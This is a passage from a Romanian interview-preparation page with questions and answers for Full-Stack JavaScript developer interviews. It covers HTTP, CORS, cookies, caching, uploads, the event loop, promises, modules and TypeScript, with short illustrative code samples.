...
Pregătire interviuri

100 de întrebări de interviu pentru Full-Stack Developer (JavaScript), cu răspunsuri

Întrebările care apar des la interviurile de Full-Stack Developer (JavaScript), fiecare cu un răspuns scurt, explicația pe larg și ce urmărește intervievatorul. Citește-le sau exersează cu răspunsurile ascunse.

Pagină coordonată de Tudor Andrei Dumitrescu, Senior Software Developer, fondatorul Academiei ProgramatorilorActualizat la

  • 100întrebări
  • 50junior
  • 34mid
  • 16senior
  • 152 minde citit
Întrebări de interviu Full-Stack Developer (JavaScript) cu răspunsuri

Un interviu pentru un post de Full-Stack Developer pe JavaScript are de obicei mai multe etape: o discuție scurtă cu cineva din HR sau recrutare (motivație, disponibilitate, așteptări), un interviu tehnic cu unul sau doi programatori și, de multe ori, o temă de casă sau un exercițiu live. Tema tipică este o mică aplicație completă: un formular sau o listă în React care vorbește cu un API în Node.js și salvează date într-o bază de date. La final poate urma o discuție cu team leadul sau cu managerul despre felul în care lucrezi în echipă.

Diferența față de un interviu pur de frontend sau pur de backend este că full-stack-ul este întrebat despre legăturile dintre ele: ce se întâmplă cu o cerere HTTP de la click până la query, cum circulă tokenul de autentificare, de ce primești eroare CORS, când alegi randare pe server și cum ajunge aplicația în producție. La junior se urmărește să înțelegi aceste piese și să poți construi singur o funcționalitate simplă cap-coadă. La mid se așteaptă să alegi între variante (sesiune sau JWT, REST sau GraphQL, SSR sau CSR) și să explici compromisurile. La senior intră arhitectura, scalarea și deciziile care afectează echipa.

Cum să folosești pagina: citește întâi răspunsul scurt și încearcă să răspunzi cu voce tare înainte să deschizi explicația. Întrebările sunt grupate pe teme și ordonate de la junior la senior. Rulează exemplele de cod pe calculatorul tău, iar pentru întrebările comportamentale pregătește-ți propriile povești din proiecte, folosind structura din model.

HTTP și web

1 Junior

Ce se întâmplă, pas cu pas, când scrii adresa unei aplicații în browser și apeși Enter?

Răspuns scurt: Browserul rezolvă numele de domeniu prin DNS, deschide o conexiune TCP (și TLS pentru HTTPS), trimite o cerere HTTP, serverul răspunde cu HTML, iar browserul îl parsează, cere resursele (CSS, JS, imagini) și randează pagina.

Întrebarea verifică dacă vezi drumul complet al unei cereri, adică exact zona unui full-stack developer.

  • DNS: browserul verifică cache-ul local, apoi întreabă un resolver care întoarce adresa IP a domeniului.
  • TCP și TLS: se face conexiunea cu serverul (de regulă portul 443), apoi handshake-ul TLS, în care se verifică certificatul și se negociază cheile de criptare.
  • Cererea HTTP: GET / cu headere precum Host, Accept, Cookie.
  • Pe server: cererea trece de obicei printr-un reverse proxy (Nginx, un load balancer), ajunge în aplicația Node.js, care poate interoga baza de date și construiește răspunsul.
  • Răspunsul: status (de exemplu 200), headere (Content-Type, Cache-Control, Set-Cookie) și corpul, adică HTML-ul.
  • Randarea: browserul construiește DOM-ul și CSSOM-ul, descarcă scripturile, execută JavaScript, calculează layoutul și desenează pagina.

Într-o aplicație React randată doar pe client (CSR), HTML-ul inițial e aproape gol, iar conținutul apare după ce bundle-ul JavaScript se încarcă și face la rândul lui cereri fetch către API. Cu randare pe server (SSR), HTML-ul vine deja populat. Merită să menționezi unde poate apărea cache-ul: în browser, la CDN, în proxy, în aplicație.

Ce urmărește intervievatorul: Intervievatorul vrea să vadă dacă poți urmări o cerere de la browser până la baza de date și înapoi. Greșeala tipică este să sari direct la „se încarcă pagina”, fără DNS, TLS sau rolul serverului.

2 Junior

Care sunt principalele metode HTTP și ce înseamnă că o metodă este idempotentă?

Răspuns scurt: GET citește, POST creează sau declanșează o acțiune, PUT înlocuiește, PATCH modifică parțial, DELETE șterge. O metodă e idempotentă dacă repetarea aceleiași cereri lasă serverul în aceeași stare ca o singură cerere.

Metodele HTTP spun ce intenție are cererea, iar clientul, proxy-urile și browserul se bazează pe semnificația lor.

  • GET: citește o resursă, nu ar trebui să schimbe nimic pe server. Este sigură (safe) și poate fi pusă în cache.
  • POST: creează o resursă sau pornește o acțiune (trimite comanda, plătește). Nu este idempotentă: două POST-uri pot crea două comenzi.
  • PUT: înlocuiește complet resursa de la acel URL. Este idempotentă: trimisă de cinci ori, rezultatul final e același.
  • PATCH: modificare parțială. Poate fi sau nu idempotentă, în funcție de implementare (setează un câmp: da; incrementează un contor: nu).
  • DELETE: șterge. Este idempotentă ca efect, chiar dacă a doua oară răspunsul poate fi 404.

Idempotența contează practic: browserele, clienții HTTP și proxy-urile pot reîncerca automat cererile idempotente când conexiunea pică. Dacă implementezi o ștergere prin GET /delete?id=5, un crawler sau un prefetch al browserului îți poate șterge date. Iar dacă butonul „Plătește” trimite un POST și utilizatorul apasă de două ori, ai nevoie de protecție suplimentară (dezactivarea butonului pe frontend și o cheie de idempotență pe backend).

Ce urmărește intervievatorul: Se verifică dacă știi semnificația metodelor, nu doar numele lor. Greșeala frecventă este să spui că PATCH e mereu idempotent sau să folosești GET pentru acțiuni care modifică date.

3 Junior

Ce înseamnă clasele de coduri de status HTTP și care e diferența dintre 401 și 403?

Răspuns scurt: 2xx înseamnă succes, 3xx redirecționare, 4xx eroare a clientului, 5xx eroare a serverului. 401 spune că nu ești autentificat (lipsește sau e invalid tokenul), 403 că ești autentificat, dar nu ai voie.

Codurile de status sunt contractul de bază dintre frontend și backend: frontendul decide ce afișează în funcție de ele, deci trebuie folosite corect.

  • 200 OK, 201 Created (după un POST care a creat ceva), 204 No Content (succes fără corp, de exemplu la DELETE).
  • 301/308 redirecționare permanentă, 302/307 temporară, 304 Not Modified (folosește copia din cache).
  • 400 Bad Request (date invalide), 401 Unauthorized, 403 Forbidden, 404 Not Found, 409 Conflict (de exemplu email deja folosit), 422 Unprocessable Entity (validare eșuată, folosit des de API-uri), 429 Too Many Requests.
  • 500 Internal Server Error, 502 Bad Gateway (proxy-ul nu a primit răspuns valid de la aplicație), 503 Service Unavailable, 504 Gateway Timeout.

Diferența 401 vs 403 apare des: la 401, frontendul ar trebui să încerce reîmprospătarea tokenului sau să trimită utilizatorul la login. La 403, login-ul nu ajută, utilizatorul nu are rolul necesar, deci afișezi un mesaj de tipul „Nu ai acces”. Un API care întoarce 200 cu { "error": true } în corp îngreunează tot: fetch nu poate distinge erorile, monitorizarea nu le vede, iar cache-urile pot păstra răspunsuri greșite.

Ce urmărește intervievatorul: Intervievatorul verifică dacă proiectezi un API pe care frontendul îl poate consuma predictibil. Greșeala tipică este confuzia 401/403 sau întoarcerea lui 200 pentru erori.

4 Junior

Frontendul tău de pe localhost:5173 apelează API-ul de pe localhost:3000 și primești o eroare CORS. Ce înseamnă și cum o rezolvi?

Răspuns scurt: Browserul aplică Same-Origin Policy: un script poate citi răspunsuri doar de la aceeași origine (protocol, domeniu, port). Porturi diferite înseamnă origini diferite, deci serverul trebuie să permită explicit originea frontendului prin headere CORS.

Originea este combinația protocol + domeniu + port. http://localhost:5173 și http://localhost:3000 sunt origini diferite, așa că browserul blochează citirea răspunsului dacă serverul nu spune că are încredere în acea origine. Important: CORS este o regulă a browserului. Postman sau curl nu o aplică, de aceea „merge în Postman”.

Soluția corectă se face pe server, de exemplu în Express:

JavaScript
import cors from 'cors';
app.use(cors({
  origin: ['http://localhost:5173', 'https://app.exemplu.ro'],
  credentials: true
}));

Serverul răspunde atunci cu Access-Control-Allow-Origin: http://localhost:5173. Pentru cereri „ne-simple” (metodă PUT/DELETE, header Authorization, Content-Type: application/json) browserul trimite întâi o cerere OPTIONS (preflight) și continuă doar dacă răspunsul permite metoda și headerele.

Dacă folosești cookie-uri, ai nevoie de credentials: 'include' în fetch și de Access-Control-Allow-Credentials: true pe server, iar originea nu poate fi *. În dezvoltare, o alternativă simplă este proxy-ul din Vite (server.proxy), care face ca frontendul și API-ul să pară de pe aceeași origine. Greșit este să pui * peste tot în producție fără să înțelegi ce expui.

Ce urmărește intervievatorul: Este una dintre cele mai comune probleme full-stack, iar intervievatorul vrea să vadă că știi că CORS e impus de browser și se configurează pe server. Mulți candidați cred că se rezolvă din codul de frontend.

5 Junior

Cum funcționează cookie-urile și ce fac atributele HttpOnly, Secure și SameSite?

Răspuns scurt: Serverul setează un cookie prin headerul Set-Cookie, iar browserul îl trimite automat înapoi la cererile către acel domeniu. HttpOnly îl ascunde de JavaScript, Secure îl trimite doar pe HTTPS, SameSite limitează trimiterea lui la cererile venite de pe alte site-uri.

Un cookie este o pereche nume-valoare pe care browserul o păstrează și o atașează automat cererilor. Fluxul tipic pentru o sesiune:

HTTP/1.1 200 OK
Set-Cookie: sid=a8f3k2; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400

De acum, fiecare cerere către domeniu conține Cookie: sid=a8f3k2, iar serverul identifică sesiunea.

  • HttpOnly: cookie-ul nu poate fi citit cu document.cookie. Dacă un atacator reușește un XSS, nu poate fura direct identificatorul sesiunii.
  • Secure: cookie-ul circulă doar pe HTTPS, deci nu poate fi interceptat pe o rețea necriptată.
  • SameSite: Strict nu trimite cookie-ul la nicio cerere inițiată de alt site; Lax (implicit în browserele moderne) îl trimite la navigarea de nivel superior cu GET, dar nu la POST-uri sau fetch-uri cross-site; None îl trimite peste tot, dar cere Secure. SameSite este o apărare importantă împotriva CSRF.
  • Domain, Path, Expires/Max-Age controlează unde și cât timp e valabil.

Pentru un full-stack contează și interacțiunea cu CORS: dacă frontendul și API-ul sunt pe domenii diferite, ai nevoie de credentials: 'include' și de setări SameSite potrivite, altfel cookie-ul nu ajunge la server.

Ce urmărește intervievatorul: Se verifică dacă știi de ce cookie-urile de sesiune sunt considerate mai sigure decât un token în localStorage. Candidații uită des de SameSite sau de faptul că cookie-ul se trimite automat, ceea ce explică CSRF.

6 Junior

Ce este HTTPS și ce anume protejează TLS?

Răspuns scurt: HTTPS este HTTP transportat peste TLS. TLS criptează traficul, garantează că datele nu au fost modificate pe drum și, prin certificat, dovedește că vorbești cu serverul real al domeniului.

TLS (Transport Layer Security) oferă trei garanții:

  • Confidențialitate: conținutul cererilor (parole, tokenuri, cookie-uri, date personale) este criptat, deci cineva de pe aceeași rețea Wi-Fi nu îl poate citi.
  • Integritate: un intermediar nu poate modifica răspunsul (de exemplu să injecteze un script) fără să fie detectat.
  • Autentificarea serverului: certificatul, semnat de o autoritate de certificare în care browserul are încredere, dovedește că domeniul aparține celui care răspunde.

Ce nu ascunde TLS: adresa IP, faptul că vorbești cu acel domeniu (numele apare în SNI) și volumul traficului. Nici nu te protejează de bug-uri din aplicație, cum ar fi SQL injection.

În practică, într-un proiect full-stack, TLS se termină adesea la reverse proxy sau la load balancer (Nginx, Caddy, serviciul cloud), iar aplicația Node.js primește trafic HTTP intern. De aceea în Express setezi app.set('trust proxy', 1), ca req.secure și IP-ul clientului să fie corecte. Certificatele gratuite se obțin cu Let's Encrypt. Fără HTTPS nu poți folosi cookie-uri Secure, SameSite=None, service workers sau multe API-uri moderne ale browserului. Headerul Strict-Transport-Security (HSTS) obligă browserul să folosească numai HTTPS pe acel domeniu.

Ce urmărește intervievatorul: Intervievatorul vrea să vadă că înțelegi ce garanții oferă TLS și ce nu. Greșeala tipică este să crezi că HTTPS face aplicația sigură în general.

7 Junior

Care e diferența dintre path params, query params, body și headere într-o cerere HTTP?

Răspuns scurt: Path params identifică resursa (/users/42), query params filtrează sau configurează răspunsul (?page=2&sort=name), body conține datele trimise la POST/PUT/PATCH, iar headerele poartă metadate: autentificare, tip de conținut, cache, limbă.

Fiecare loc are un scop, iar alegerea corectă face API-ul ușor de folosit și de pus în cache.

  • Path params identifică resursa: GET /users/42/orders/7. În Express le citești din req.params.id.
  • Query params sunt opționali și modifică răspunsul: filtrare, sortare, paginare, căutare (/products?category=laptop&page=2). Citești din req.query. Atenție, valorile vin mereu ca stringuri, deci req.query.page trebuie convertit și validat.
  • Body conține datele pe care le trimiți ca să creezi sau să modifici ceva, de obicei JSON. Ai nevoie de app.use(express.json()) ca să apară în req.body, iar clientul trebuie să trimită Content-Type: application/json.
  • Headerele transportă metadate: Authorization: Bearer ..., Content-Type, Accept, Accept-Language, If-None-Match.
JavaScript
await fetch('/api/products?page=2', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json', Authorization: 'Bearer ' + token },
  body: JSON.stringify({ name: 'Mouse', price: 99 })
});

Nu pune date sensibile (parole, tokenuri, CNP) în URL: URL-urile ajung în istoricul browserului, în loguri de server și în headerul Referer. Iar un GET cu body nu e interzis formal, dar multe unelte și proxy-uri îl ignoră, deci evită-l.

Ce urmărește intervievatorul: Se verifică dacă proiectezi cereri curate și dacă știi unde citești fiecare parte pe server. Greșelile frecvente sunt uitarea lui Content-Type și datele sensibile în query string.

8 Mid

Cum funcționează caching-ul HTTP: Cache-Control, ETag și răspunsul 304?

Răspuns scurt: Cache-Control spune cine poate păstra răspunsul și cât timp (max-age, no-store, private). ETag este un identificator al versiunii; browserul îl retrimite în If-None-Match, iar dacă nu s-a schimbat nimic, serverul răspunde 304 fără corp.

Caching-ul corect reduce timpul de încărcare și încărcarea serverului, dar caching-ul greșit livrează date vechi sau, mai rău, datele altui utilizator.

  • Cache-Control: public, max-age=31536000, immutable pentru fișierele statice cu hash în nume (app.3f9a1c.js). Când codul se schimbă, se schimbă numele, deci cache-ul lung e sigur.
  • Cache-Control: no-cache pentru index.html: browserul poate păstra copia, dar trebuie să o revalideze la fiecare cerere. Altfel utilizatorii rămân cu un HTML vechi care cere bundle-uri care nu mai există.
  • Cache-Control: private pentru răspunsuri personalizate (profilul utilizatorului): doar browserul le poate păstra, nu și CDN-ul.
  • no-store pentru date sensibile care nu trebuie păstrate deloc.

Revalidarea cu ETag:

GET /api/products       ->  200, ETag: "v42"
GET /api/products
If-None-Match: "v42"    ->  304 Not Modified (fără corp)

Express generează ETag-uri slabe automat pentru res.json și res.send. Similar funcționează Last-Modified / If-Modified-Since. Mai există s-maxage (doar pentru cache-uri partajate, de exemplu CDN) și stale-while-revalidate, care permite servirea unei copii ușor expirate în timp ce se aduce una nouă în fundal.

Ce urmărește intervievatorul: Intervievatorul verifică dacă poți explica de ce utilizatorii văd o versiune veche după deploy și cum eviți asta. Candidații confundă des no-cache cu no-store.

9 Mid

Cum trimiți un fișier din browser la server și cum îl primești în Node.js?

Răspuns scurt: Pe frontend pui fișierul într-un FormData și îl trimiți cu fetch, fără să setezi manual Content-Type, ca browserul să adauge multipart/form-data cu boundary. Pe server îl parsezi cu o bibliotecă precum multer și validezi tipul și dimensiunea.

Fișierele nu se trimit ca JSON (ar trebui codificate base64, cu aproximativ o treime în plus ca dimensiune), ci ca multipart/form-data, un format în care corpul are mai multe părți separate printr-un delimitator numit boundary.

JavaScript
// frontend
const form = new FormData();
form.append('avatar', input.files[0]);
form.append('userId', '42');
await fetch('/api/avatar', { method: 'POST', body: form });

Nu seta Content-Type manual: browserul îl completează cu boundary-ul corect, iar dacă îl scrii tu, serverul nu poate separa părțile.

JavaScript
// backend, Express + multer
import multer from 'multer';
const upload = multer({
  dest: 'uploads/',
  limits: { fileSize: 2 * 1024 * 1024 },
  fileFilter: (req, file, cb) => cb(null, ['image/png', 'image/jpeg'].includes(file.mimetype))
});
app.post('/api/avatar', upload.single('avatar'), (req, res) => {
  res.status(201).json({ file: req.file.filename });
});

Lucruri de menționat la interviu: limitează dimensiunea (și în Nginx, cu client_max_body_size), nu te baza pe extensie sau pe tipul MIME declarat de client, generează tu numele fișierului ca să eviți path traversal, nu servi fișierele încărcate din același director cu codul. Pentru fișiere mari sau multe, în producție e mai bine ca browserul să urce direct într-un object storage (S3) printr-un URL presemnat.

Ce urmărește intervievatorul: Se verifică dacă ai implementat efectiv un upload și dacă te gândești la securitate. Greșeala clasică este setarea manuală a Content-Type sau lipsa limitelor de dimensiune.

10 Mid

Ai nevoie ca serverul să trimită actualizări în timp real către browser. Când alegi polling, Server-Sent Events sau WebSocket?

Răspuns scurt: Polling-ul e cel mai simplu, dar risipitor. Server-Sent Events oferă un flux unidirecțional server-client peste HTTP, cu reconectare automată, bun pentru notificări. WebSocket e un canal bidirecțional persistent, potrivit pentru chat, colaborare sau jocuri.

Alegerea depinde de direcția datelor, de frecvență și de infrastructură.

  • Polling scurt: clientul întreabă la fiecare N secunde. Simplu, merge peste orice proxy, dar generează multe cereri inutile și are latență de până la N secunde. Acceptabil pentru statusul unui export care durează un minut.
  • Long polling: serverul ține cererea deschisă până are ceva de trimis. Mai eficient, dar mai greu de scalat.
  • Server-Sent Events (SSE): un răspuns HTTP cu Content-Type: text/event-stream care rămâne deschis, iar serverul scrie evenimente pe el. În browser folosești EventSource, care se reconectează singur. Doar server spre client, doar text. Ideal pentru notificări, progres, fluxul de tokenuri de la un model AI.
  • WebSocket: după un handshake HTTP (Upgrade: websocket), conexiunea devine un canal bidirecțional. Bun pentru chat, editare colaborativă, prezență online. În Node folosești ws sau socket.io.
JavaScript
const es = new EventSource('/api/notifications');
es.onmessage = (e) => console.log(JSON.parse(e.data));

Probleme comune în producție: proxy-urile și load balancerele pot închide conexiunile inactive (trimite heartbeat), Nginx trebuie configurat să nu bufferizeze SSE și să permită upgrade la WebSocket, iar când ai mai multe instanțe de server, un mesaj trebuie distribuit tuturor (de exemplu prin Redis pub/sub).

Ce urmărește intervievatorul: Intervievatorul vrea să vadă că alegi unealta după cerință și nu pui WebSocket peste tot. Mulți candidați nu cunosc SSE sau uită de problemele de scalare pe mai multe instanțe.

11 Mid

O cerere funcționează în Postman, dar eșuează din aplicația React. Cum o depanezi?

Răspuns scurt: Deschizi tabul Network din DevTools și compari cererea reală cu cea din Postman: URL, metodă, headere, body, cookie-uri. Cele mai dese cauze sunt CORS, cookie-uri netrimise, Content-Type lipsă și preflight-ul OPTIONS respins.

Postman nu este un browser: nu aplică CORS, nu are reguli SameSite și trimite exact ce i-ai spus. Diferențele sunt aproape mereu acolo.

Pași de depanare:

  • În Network, verifică dacă există o cerere OPTIONS înaintea celei reale. Dacă preflight-ul primește 404 sau 401 (un middleware de autentificare care blochează și OPTIONS), cererea reală nici nu pleacă.
  • Citește eroarea exactă din Console: mesajele CORS spun ce header lipsește.
  • Compară headerele: lipsește Content-Type: application/json, iar serverul primește req.body gol? Lipsește Authorization pentru că tokenul nu a fost încă citit din store?
  • Cookie-uri: în fetch ai nevoie de credentials: 'include' pentru cereri cross-origin; verifică în tabul Application dacă cookie-ul e blocat din cauza SameSite sau a lipsei Secure.
  • URL-ul: în producție, o variabilă VITE_API_URL nesetată poate duce la undefined/api/users.
  • Mixed content: o pagină HTTPS nu poate apela un API pe HTTP.
  • Pe server, uită-te în loguri dacă cererea a ajuns măcar acolo.
JavaScript
// greșit: serverul nu știe că e JSON
fetch(url, { method: 'POST', body: JSON.stringify(data) });

Un truc util: în Network, click dreapta pe cerere și „Copy as cURL”, apoi o rulezi în terminal ca să separi problema de browser de problema de server.

Ce urmărește intervievatorul: Se verifică metoda de depanare, nu memorarea unei soluții. Răspunsurile slabe ghicesc cauza fără să spună unde s-ar uita mai întâi.

12 Senior

Ce aduc HTTP/2 și HTTP/3 față de HTTP/1.1 și cum îți schimbă asta deciziile de build pentru frontend?

Răspuns scurt: HTTP/2 multiplexează mai multe cereri pe o singură conexiune TCP și comprimă headerele, deci multe fișiere mici nu mai sunt atât de scumpe. HTTP/3 rulează peste QUIC (UDP) și elimină blocarea întregii conexiuni la pierderea unui pachet.

În HTTP/1.1, un browser deschide un număr limitat de conexiuni pe domeniu și fiecare conexiune servește o cerere pe rând. De aici au apărut optimizări ca bundle-uri uriașe, sprite-uri CSS și domain sharding (resurse servite de pe mai multe subdomenii).

HTTP/2:

  • multiplexare: zeci de cereri în paralel pe aceeași conexiune;
  • compresia headerelor (HPACK), utilă pentru cookie-uri mari repetate;
  • format binar și prioritizare a fluxurilor.

Limita lui: totul rulează peste un singur TCP, iar un pachet pierdut blochează toate fluxurile până la retransmisie (head-of-line blocking la nivel TCP).

HTTP/3 folosește QUIC peste UDP: fiecare flux e independent, handshake-ul e mai rapid (TLS 1.3 integrat), iar conexiunea supraviețuiește schimbării rețelei (de pe Wi-Fi pe date mobile).

Impact asupra deciziilor:

  • domain sharding devine contraproductiv, pentru că strică reutilizarea conexiunii;
  • poți folosi code splitting mai fin (chunk-uri per rută), fără penalizarea de altădată;
  • totuși, un bundle unic mare rămâne o problemă de parsare și execuție JavaScript, iar zeci de chunk-uri mici pot crea cascade de cereri, deci păstrezi un echilibru;
  • server push din HTTP/2 a fost abandonat de browsere; în locul lui se folosesc preload și răspunsul 103 Early Hints.

De obicei HTTP/2 și HTTP/3 se activează la CDN sau la reverse proxy, nu în Node.

Ce urmărește intervievatorul: Intervievatorul vrea să vadă dacă îți actualizezi practicile când se schimbă platforma. Greșeala tipică este să aplici în continuare optimizări de pe vremea HTTP/1.1 fără să le măsori.

JavaScript și TypeScript pe ambele capete

13 Junior

Ce afișează codul de mai jos și de ce?

JavaScript
console.log('A');
setTimeout(() => console.log('B'), 0);
Promise.resolve().then(() => console.log('C'));
console.log('D');

Răspuns scurt: Afișează A, D, C, B. Codul sincron rulează primul, apoi se golește coada de microtaskuri (callback-ul promisiunii), iar abia apoi se execută macrotaskul programat cu setTimeout.

JavaScript rulează pe un singur fir de execuție, coordonat de event loop. Ordinea este:

  • Se execută tot codul sincron din call stack: A, apoi D.
  • setTimeout(..., 0) nu rulează imediat; callback-ul ajunge în coada de macrotaskuri (task queue) după cel puțin 0 ms.
  • .then pune callback-ul în coada de microtaskuri.
  • După ce stack-ul se golește, event loop-ul execută toate microtaskurile (C), apoi ia următorul macrotask (B).

Aceeași logică se aplică în browser și în Node.js. În Node mai există process.nextTick, care rulează chiar înaintea microtaskurilor promisiunilor, și setImmediate, care rulează în faza „check” a buclei.

De ce contează pentru un full-stack:

  • pe server, un calcul sincron lung (de exemplu un JSON.parse pe un fișier uriaș sau o buclă de milioane de iterații) blochează toate cererile celorlalți utilizatori;
  • în browser, blochează interfața, iar click-urile nu mai răspund;
  • un await nu face codul paralel, ci doar eliberează firul cât timp se așteaptă I/O.
JavaScript
async function f() {
  console.log(1);
  await null;
  console.log(2); // rulează ca microtask
}
f(); console.log(3); // 1, 3, 2

Ce urmărește intervievatorul: Este o întrebare clasică despre event loop, iar intervievatorul verifică dacă știi diferența dintre microtaskuri și macrotaskuri. Greșeala frecventă este să răspunzi A, D, B, C pentru că timeout-ul are 0 ms.

14 Junior

Care e diferența dintre a folosi .then() și async/await și cum tratezi corect erorile în fiecare caz?

Răspuns scurt: Ambele lucrează cu promisiuni; async/await e doar o sintaxă care face codul asincron să arate secvențial. Erorile se prind cu .catch() în primul caz și cu try/catch în al doilea, iar o promisiune neașteptată pierde eroarea.

O funcție async întoarce mereu o promisiune, iar await suspendă funcția până când promisiunea se rezolvă, fără să blocheze firul de execuție.

JavaScript
// cu then
function loadUser(id) {
  return fetch('/api/users/' + id)
    .then((r) => {
      if (!r.ok) throw new Error('HTTP ' + r.status);
      return r.json();
    })
    .catch((err) => { console.error(err); throw err; });
}

// cu async/await
async function loadUser2(id) {
  try {
    const r = await fetch('/api/users/' + id);
    if (!r.ok) throw new Error('HTTP ' + r.status);
    return await r.json();
  } catch (err) {
    console.error(err);
    throw err;
  }
}

Două capcane apar des la interviu:

  • fetch nu respinge promisiunea pentru 404 sau 500, ci doar pentru erori de rețea. Trebuie să verifici response.ok.
  • Dacă uiți await sau return, eroarea nu ajunge în catch-ul tău și devine un unhandled rejection. În Node.js, începând cu versiunea 15, o promisiune respinsă netratată oprește procesul implicit.

În Express 4, o eroare aruncată într-un handler async nu ajunge la middleware-ul de erori decât dacă o prinzi și apelezi next(err); Express 5 tratează automat promisiunile respinse. Async/await este de obicei mai lizibil, dar .then rămâne util pentru lanțuri scurte.

Ce urmărește intervievatorul: Se verifică înțelegerea promisiunilor dincolo de sintaxă. Aproape toți candidații uită că fetch nu aruncă eroare la 4xx și 5xx.

15 Junior

Pagina trebuie să încarce date din trei endpointuri independente. Cum le aduci și când folosești Promise.all, Promise.allSettled sau Promise.race?

Răspuns scurt: Le pornești în paralel, nu cu await una după alta. Promise.all eșuează la prima eroare, potrivit când ai nevoie de toate; Promise.allSettled așteaptă toate rezultatele, inclusiv erorile; Promise.race întoarce prima promisiune terminată, util pentru timeouturi.

Greșeala tipică este să aștepți cererile secvențial:

JavaScript
// lent: timpul total = suma celor trei
const user = await getUser();
const orders = await getOrders();
const notifications = await getNotifications();

Dacă cererile nu depind una de alta, le pornești deodată:

JavaScript
const [user, orders, notifications] = await Promise.all([
  getUser(), getOrders(), getNotifications()
]);

Acum timpul total e aproximativ cel al celei mai lente cereri.

  • Promise.all: respinge imediat ce una eșuează. Bun când pagina nu are sens fără toate datele. Atenție, celelalte cereri nu sunt anulate, doar rezultatul lor e ignorat.
  • Promise.allSettled: întoarce pentru fiecare { status: 'fulfilled', value } sau { status: 'rejected', reason }. Ideal pentru un dashboard în care un widget care pică nu trebuie să strice restul.
  • Promise.race: se rezolvă sau respinge odată cu prima promisiune terminată. Folosit pentru timeout, deși azi e mai curat AbortSignal.timeout(5000).
  • Promise.any: prima care reușește, ignorând erorile până la ultima.

Aceeași idee se aplică pe backend: dacă un endpoint face trei query-uri independente, le poți rula în paralel. Dar nu porni o mie de cereri deodată; pentru volume mari limitezi concurența (de exemplu cu p-limit), ca să nu saturezi API-ul sau pool-ul de conexiuni la baza de date.

Ce urmărește intervievatorul: Intervievatorul verifică dacă scrii cod asincron eficient și dacă știi ce se întâmplă la erori. Mulți candidați scriu await-uri secvențiale fără să observe costul.

16 Junior

Ce afișează codul de mai jos și cum îl repari?

JavaScript
for (var i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 100);
}

Răspuns scurt: Afișează 3, 3, 3, pentru că var are scope de funcție și toate cele trei callback-uri închid aceeași variabilă, care la momentul execuției are valoarea 3. Cu let, fiecare iterație primește propria variabilă și se afișează 0, 1, 2.

Întrebarea combină două concepte: closure și scope-ul variabilelor.

Un closure este o funcție care păstrează accesul la variabilele din contextul în care a fost creată, chiar și după ce acel context s-a terminat. Callback-urile din setTimeout rulează după ce bucla s-a încheiat, deci citesc valoarea curentă a lui i, nu pe cea de la momentul creării.

Cu var, există o singură variabilă i pentru toată funcția (sau pentru tot scriptul). După ultima iterație, i devine 3, iar condiția i < 3 oprește bucla. Toate cele trei funcții văd 3.

Cu let, variabila are scope de bloc, iar specificația creează o legătură nouă pentru fiecare iterație a buclei for:

JavaScript
for (let i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 100); // 0, 1, 2
}

Varianta veche, înainte de ES2015, folosea o funcție invocată imediat (IIFE) care primea i ca parametru.

Closure-urile apar peste tot în codul full-stack: handlerele de evenimente din React, middleware-uri Express construite de funcții (requireRole('admin') întoarce o funcție care își amintește rolul), funcții de memoizare. În React, același mecanism explică bug-ul „stale closure”, când un callback dintr-un useEffect vede o valoare veche a stării.

Ce urmărește intervievatorul: Se verifică înțelegerea closure-urilor și a diferenței var/let, nu doar memorarea răspunsului. Un candidat bun leagă exemplul de bug-uri reale, cum ar fi stale closures în React.

17 Junior

Care e diferența dintre ES Modules și CommonJS și cum le folosești într-un proiect Node.js cu frontend?

Răspuns scurt: CommonJS folosește require și module.exports, se încarcă sincron și este formatul istoric din Node. ES Modules folosesc import și export, sunt standardul limbajului, se analizează static și rulează nativ în browser și în Node.

JavaScript
// CommonJS
const express = require('express');
module.exports = { start };

// ES Modules
import express from 'express';
export function start() {}

Diferențe importante:

  • Analiză statică: importurile ESM sunt declarate la nivelul de sus al fișierului, deci bundlerele (Vite, webpack, esbuild) pot elimina codul nefolosit (tree shaking). La require, care poate fi apelat oriunde, asta e mult mai greu.
  • Încărcare: CommonJS e sincron; ESM poate fi asincron și suportă await la nivelul de sus al modulului (top-level await).
  • Variabile: în ESM nu există __dirname și __filename; le obții din import.meta.url sau, în versiunile recente de Node, din import.meta.dirname.
  • Extensii: în ESM pe Node trebuie să scrii extensia la importurile relative (./db.js).

Node decide formatul după extensie (.mjs / .cjs) sau după câmpul "type": "module" din package.json. Un modul ESM poate importa un pachet CommonJS; invers, require pe un modul ESM a fost multă vreme imposibil și a devenit posibil abia în versiunile recente de Node (22 și 20.19 în sus), cu limitări.

Într-un proiect full-stack modern, frontendul e oricum ESM (Vite), iar pentru backend e recomandat să alegi tot ESM, ca să poți partaja cod (validări, tipuri, constante) fără conversii.

Ce urmărește intervievatorul: Intervievatorul verifică dacă te descurci cu erori de tipul „require is not defined in ES module scope”. Mulți candidați știu sintaxa, dar nu și cum decide Node formatul.

18 Junior

Ce este TypeScript și ce câștigi folosindu-l atât pe frontend, cât și pe backend?

Răspuns scurt: TypeScript este JavaScript cu tipuri statice, verificate la compilare și apoi șterse. Pe ambele capete prinde din timp greșeli de contract, de exemplu un câmp redenumit în API pe care frontendul îl folosește încă, și face refactorizarea mai sigură.

TypeScript adaugă un sistem de tipuri peste JavaScript. Compilatorul (tsc) sau unelte precum esbuild și Vite verifică ori doar elimină tipurile și produc JavaScript obișnuit.

TypeScript
interface Product {
  id: number;
  name: string;
  price: number;
  discount?: number; // opțional
}

function finalPrice(p: Product): number {
  return p.price - (p.discount ?? 0);
}

finalPrice({ id: 1, name: 'Mouse', price: '99' });
// eroare: Type 'string' is not assignable to type 'number'

Beneficii specifice full-stack:

  • contractul API devine explicit: dacă backendul și frontendul folosesc același tip Product, o schimbare de câmp produce erori de compilare în ambele părți, nu un undefined în producție;
  • autocomplete și refactorizare în editor, pe tot codul;
  • documentare implicită: semnătura unei funcții spune ce primește și ce întoarce;
  • tipuri pentru props în React și pentru req/res în Express.

Limitele trebuie spuse cinstit: tipurile nu există la runtime, deci datele venite din rețea, din formulare sau din baza de date trebuie în continuare validate. any dezactivează verificarea și se răspândește ușor. Setarea "strict": true în tsconfig.json este recomandată pentru proiecte noi, pentru că activează între altele verificarea null/undefined.

